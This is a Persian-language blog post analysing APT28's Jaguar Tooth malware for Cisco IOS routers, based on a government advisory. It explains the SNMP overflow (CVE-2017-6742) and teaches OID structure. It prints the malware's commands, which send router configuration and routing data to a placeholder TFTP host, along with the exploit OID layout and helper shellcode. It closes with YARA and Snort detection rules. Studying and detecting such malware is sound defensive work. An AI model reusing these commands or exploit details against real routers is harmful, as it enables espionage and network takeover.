آژانس های امنیی CISA ، NSA ، FBI و NCSC در خصوص استفاده هکرهای روسی از یه بدافزار بنام Jaguar Tooth برای هک روترهای Cisco IOS هشدار دادن.
گروه هکری روسی APT28 که با نامهای Fancy Bear و STRONTIUM و Sednit و Sofacy هم شناخته میشه و با آژانس اطلاعاتی GRU روسیه مرتبط هستش، پشت این بدافزار قرار داره. این گروه با استفاده از یه آسیب پذیری قدیمی SNMP با شناسه CVE-2017-6742 در روترهای Cisco IOS برای استقرار بدافزار استفاده میکنه.
این بدافزار روترهای Cisco IOS که فریمور C5350-ISM و نسخه 12.3(6) دارن رو هدف قرار میده. مهاجم بعد از آلوده کردن دستگاه قابلیت استخراج اطلاعات از TFTP و دسترسی به یه بکدور رو داره.
بدافزار در حالت کلی از یسری پیلود و اصلاحیه تشکیل شده. با استفاده از اصلاحیه ها ، فرایند احراز هویت روتر رو دستکاری میکنه و یه بکدور بدون احرازهویت در اختیار مهاجم قرار میده.
همچنین با ایجاد یه پروسس جدید بنام Service Policy Lock، اطلاعاتی مانند پیکربندی در حال اجرا، نسخه فریمور، لیست فایلهای موجود در حافظه Flash و جدول ARP و routing و اینترفیس ها و … رو جمع آوری و از طریق TFTP استخراج میکنه.
بکدور بدون احرازهویت:
بدافزار با دستکاری فرایند احراز هویت از طریق تغییر ask_md5secret و askpassword باعث میشه که همیشه مقدار True رو برگردونن و در نتیجه مهاجم بدون احراز هویت به اکانتهای محلی که برای دسترسی از طریق Telnet یا دسترسی فیزیکی ایجاد شدن ، دسترسی داره.
استخراج اطلاعات دستگاه:
بدافزار از طریق دستورات CLI زیر اقدام به جمع آوری اطلاعات دستگاه میکنه :
• show running-config
• show version
• show ip interface brief
• show arp
• show cdp neighbors
• show start
• show ip route
• show flash
این بدافزار از شکل کوتاه شده دستورات استفاده میکنه و بعد از استخراج از طریق دستور r و TFTP اونارو انتقال میده :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
sleep 5000 enable sh run | r tftp://[IP ADDRESS]/[URL PAGE] sleep 5000 sh ver | r tftp://[IP ADDRESS]/[URL PAGE] sleep 5000 sh ip int bri | r tftp://[IP ADDRESS]/[URL PAGE] sleep 5000 sh arp | r tftp://[IP ADDRESS]/[URL PAGE] sleep 5000 sh cdp neig | r tftp://[IP ADDRESS]/[URL PAGE] sleep 5000 sh start | r tftp://[IP ADDRESS]/[URL PAGE] sleep 5000 sh ip ro | r tftp://[IP ADDRESS]/[URL PAGE] sleep 5000 sh fla | r tftp://[IP ADDRESS]/[URL PAGE] sleep 5000 disable tclquit |
اکسپلویت SNMP:
بدافزار برای استقرار از یه آسیب پذیری به شناسه CVE-2017-6742 که از نوع Stack buffer overflow هست استفاده میکنه ، که منجر به اجرای کد از راه دور میشه. این آسیب پذیری برای اولین بار در 29 ژوئن 2017 ، 8 تیر 1396، گزارش و اصلاح شد. سیسکو در گزارشش یسری راه حل ها هم داده بود از جمله محدود کردن دسترسی به SNMP فقط از میزبان های قابل اعتماد با غیرفعال کردن یسری SNMP MIB .
اکسپلویت آسیب پذیری با تکنیک ROP توسعه داده شده. تابع آسیب پذیر هم alpsRemPeerConnLocalPort هستش که از طریق SNMP Object Identifier (OID) 1.3.6.1.4.1.9.9.95.1.2.4.1.3 بدست میاد و با اضافه کردن بایتهای اضافی به انتهای OID ، آسیب پذیری رخ میده.
پروتکل SNMP:
پروتکل SNMP یه پروتکل استاندارد اینترنت هستش که برای جمع آوری اطلاعات از Managed Device ها و ارسال اطلاعات برای دستکاری رفتار این دستگاهها استفاده میشه. منظور از Managed Device ها هم دستگاههای هستن که در یه شبکه قرار دارن مثله : روترها ، سوئیچ ها ، لپ تاپ ، چاپگر ، سرور و … .
در SNMP ما دو مفهوم مهم داریم : OID و MIB.
OID یه مقدار Object Identifier هستش که معمولا برای مشخص کردن دستگاه و وضعیت اون استفاده میشه . مثلا فرض کنید شما سه تا سنسور دما دارید و میخوایید وضعیت سنسور شماره 2 رو بدونید یا تغییراتی در وضعیتش بدید، برای این منظور میتونید از SNMP و OID استفاده کنید. SNMP بستر ارتباطی رو فرهم میکنه و OID اون دستگاه و وضعیتش رو در اختیارتون قرار میده.
بطور خلاصه میشه گفت که هر دستگاه، OID منحصر به فرد خودش داره و میشه با اون شناسه عملکرد و وضعیت دستگاه رو بررسی کرد.
OIDها مثله آدرس هستن و ساختار درختی و سلسله مراتبی دارن، اما بصورت عدد و نقطه مشخص میشن. مثلا فرض کنید ما میخواییم وضعیت درب شماره 1 ارگ تبریز که در آدرس: تبریز، خیابان شهناز ، ارگ تبریز، درب ورودی 1 ،رو بررسی کنیم. این آدرس در ساختار OID با عدد مشخص میشه. مثلا اگه ما ساختار از قبل تعریف شده ،زیر رو داشته باشیم :
تبریز = 1
تهران = 2
خیابان شهناز =3
خیابان تجریش = 4
ارگ تبریز = 5
بازار تجریش = 6
درب ورودی 1 = 1
درب ورودی 2 = 2
OID دسترسی به درب شماره 1 ارگ برابر 1.3.5.1 هستش. وقتی ما 1.3.5.1 رو میزنیم بطور مستقیم وضعیت ارگ تبریز رو جویا میشیم.
همونطور که بالا اشاره شد ، این بدافزار از OID زیر استفاده میکنه :
1 |
1.3.6.1.4.1.9.9.95.1.2.4.1.3 |
- عدد 1 : مشخص کننده ISO هستش. این تو همه OIDها هست و مشخص میکنه که این یه OID هستش.
- عدد 3: مشخص کننده ORG هستش. این مشخص کننده سازمان تولیدکننده دستگاه هستش.
- عدد 6: مشخص کننده dod یا Department of Defense هستش. اولین سازمان ایجاد کننده اینترنت
- عدد 1: مشخص کننده اینترنت هستش. یعنی تمام ارتباطات از طریق اینترنت هستش.
- عدد 4: مشخص کننده اینه که این دستگاه توسط بخش خصوصی تولید شده و نه دولت
- عدد1: مشخص میکنه که سازمان سازنده دستگاه یه شرکت تجاری هستش.
این 6 تا عدد اول تقریبا برای همه دستگاهها یکیه. در ادامه هم جزییات محصولات و ساختارهای اون مشخص میشه.
- شماره 9: مشخص کننده نام شرکت سازنده هستش که عدد 9 برای سیسکو هستش. یعنی با یه دستگاه سیسکویی روبرو هستیم.
- عدد 9: نوع دستگاه رو مشخص میکنه که در اینجا CiscoMgmt هستش.
- عدد 95: مشخص کننده ciscoAlpsMIB
- عدد 1: مشخص کننده ciscoAlpsMIBObjects
- عدد 2: مشخص کننده alpsPeerObjects
- عدد 4: مشخص کننده alpsRemPeerConnTable
- عدد 1: مشخص کننده alpsRemPeerConnEntry
- عدد 3: مشخص کننده alpsRemPeerConnLocalPort
اگه به مثالهای بالا توجه کنید، قسمتی از OID قابل مدیریت هستش اما وقتی ما وارد محصول و جزییات اون میشه (بعد 6 تای اول)، ارائه یه ساختار از پیش تعریف شده سخت میشه و باید توسط سازنده دستگاه ارائه بشه. برای همین MIB رو داریم. MIBها یسری فایل هستن که توسط سازنده دستگاه ارائه میشه و یه جورایی ترجمه مقادیر OID رو انجام میده. مثلا یه سازنده تعریف میکنه که مقدار 3 برابر وضعیت خوب و مقدار 1500 نشون دهنده وضعیت بد هستش و ممکنه یه تولید کننده دیگه برای دستگاه خودش ، مقادیر متفاوتی رو بده.
در نهایت برای جستجو در OIDها باید به سایت خود فروشنده برید یا ابزارهای آنلاینی مثله این مورد استفاده کنید. برای کار با SNMP هم میتونید از ابزار SNMPWORK استفاده کنید.
اکسپلویت:
آسیب پذیری در k_alpsRemPeerConnEntry_get (0x60E72178) هستش که قسمتی از AirLine Protocol Support (ALPS) هستش. وقتی یه OID طولانی به این بخش ارسال بشه، منجر به سریز میشه و مهاجم میتونه کنترل EIP رو به دست بگیره.
اکسپلویت کامل شبیه این هستش :
1 |
1.3.6.1.4.1.9.9.95.1.2.4.1.3.69.65.65.65.65.65.65.65.65.65.65.65.65.65.65.65.65.65.65.65.65.65.65.65.65.65.65.65.65.S0.S0.S0.S0.S1.S1.S1.S1.S2.S2.S2.S2.S3.S3.S3.S3.S4.S4.S4.S4.S5.S5.S5.S5.S6.S6.S6.S6.S7.S7.S7.S7.RA.RA.RA.RA.65.65.65.65.65 |
اگه قسمت 1.3.6 رو حذف کنیم و بقیه رو تبدیل به هگزادسیمال کنیم، شکل زیر داریم:
شکل زیر جریان کلی اجرای کد و بازگشت از ROP رو نشون میده که منجر به فراخوانی شلکد copy payload میشه.
شلکد Copy payload :
اکسپلویت سریز با ارسال تعداد زیاد اسکی کد با حروف بزرگ انجام میشه. وقتی اکسپلویت کامل شد و شلکد Copy payload اجرا میشه. این شلکد حروف بزرگ رو با استفاده از ROP gadget های مختلف دستکاری کرده و پیلود نهایی رو در حافظه میریزه.
برای اینکه این کار ساده انجام بشه یه قطعه کد بنام helper shellcode بعد از code section در مموری نوشته میشه. شلکد امکان نوشتن 4 بایت در آدرس دلخواه رو میده. این کار تکرار میشه تا به تدریج بدافزار در حافظه نوشته بشه. helper shellcode در نهایت به NULL ختم میشه. کد helper shellcode بصورت زیر هستش :
1 2 |
seg000:81689300 sw $s0, 0($s1) seg000:81689304 jr $s2 |
هر یک از این رجیسترها ، $s0, $s1 و $s2 ، قابل کنترل هستن و 4 بایت دلخواه رو مینویسن. برای مثال :
در کد بالا شلکد مقدار E0 00 08 80 ($s0) رو در آدرس 0x80415F44 ($s1) مینویسه و بعدش به 0x60E6E61C ($s2) که epilogue تابع ALPS هستش میپره.
پس از نوشتن شلکد در حافظه ، پیلودهای بدافزار با بازنویسی آدرس برگشت تابع آسیب پذیر ، با آدرس اونا ،اجرا میشه.
شناسایی :
رول YARA (شناسایی بدافزار)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
rule JaguarTooth_Cisco_IOS_payload { meta: author = "NCSC" description = "This signature detects the Jaguar Tooth Cisco IOS malware. It looks for the process name, two of the hard-coded commands, and code calling two Cisco IOS functions." strings: $ = "Service Policy Lock" $ = "sleep 5000" $ = "tclquit" $ = {0C ?? ?? ?? 00 00 30 25 0C ?? ?? ?? 24 04 FF FF 8F BF 00 34} condition: 3 of them } |
رول SNORT ( شناسایی exploit padding)
1 2 3 4 5 6 7 8 |
alert udp any 161 -> any 161 (msg:"Jaguar Tooth exploit padding"; \ content:"|2b 06 01 04 01 09 09 5f 01 02 04 01 03|"; \ content:"AAAAAAAAAAAAAAAAAAAAAAAAAAAA"; distance:1; within:28; \ content:"|03 03 03 03 04 04 04 04 05 05 05 05 06 06 06 06 07 07 07 07|"; distance:12; within:32; fast_pattern; \ sid:230418000; rev:1; classtype:misc-attack;\ metadata:date 2023-04-18;) |
رول snort (شناسایی پیلودها) :
1 2 3 4 5 6 |
alert udp any 161 -> any 161 (msg:"Jaguar Tooth payload deployment"; \ content:"|2b 06 01 04 01 09 09 5f 01 02 04 01 03|"; \ content:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAtclq"; distance:1; within:32; fast_pattern; \ sid:230418001; rev:1; classtype:misc-attack;\ metadata:date 2023-04-18;) |
1 2 3 4 5 6 |
alert udp any 161 -> any 161 (msg:"Jaguar Tooth payload deployment"; \ content:"|2b 06 01 04 01 09 09 5f 01 02 04 01 03|"; \ content:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAenab"; distance:1; within:32; fast_pattern; \ sid:230418002; rev:1; classtype:misc-attack;\ metadata:date 2023-04-18;) |
1 2 3 4 5 6 |
alert udp any 161 -> any 161 (msg:"Jaguar Tooth payload deployment"; \ content:"|2b 06 01 04 01 09 09 5f 01 02 04 01 03|"; \ content:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAslee"; distance:1; within:32; fast_pattern; \ sid:230418003; rev:1; classtype:misc-attack;\ metadata:date 2023-04-18;) |
1 2 3 4 5 6 |
alert udp any 161 -> any 161 (msg:"Jaguar Tooth payload deployment"; \ content:"|2b 06 01 04 01 09 09 5f 01 02 04 01 03|"; \ content:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAdisa"; distance:1; within:32; fast_pattern; \ sid:230418004; rev:1; classtype:misc-attack;\ metadata:date 2023-04-18;) |
رول Snort ( شناسایی اصلاحیه بکدور):
1 2 3 4 5 6 7 |
alert udp any 161 -> any 161 (msg:"Jaguar Tooth backdoor patch deployment"; \ content:"|2b 06 01 04 01 09 09 5f 01 02 04 01 03|"; \ content:"AAAAAAAAAAAAAAAAAAAAAAAAAAAA|03 81 60 00 08|"; distance:1; within:33; fast_pattern; \ sid:230418005; rev:1; classtype:misc-attack;\ metadata:date 2023-04-18;) |
1 2 3 4 5 6 7 |
alert udp any 161 -> any 161 (msg:"Jaguar Tooth backdoor patch deployment"; \ content:"|2b 06 01 04 01 09 09 5f 01 02 04 01 03|"; \ content:"AAAAAAAAAAAAAAAAAAAAAAAAAAAA|24 02 00 01|"; distance:1; within:32; fast_pattern; \ sid:230418006; rev:1; classtype:misc-attack;\ metadata:date 2023-04-18;) |
منابع: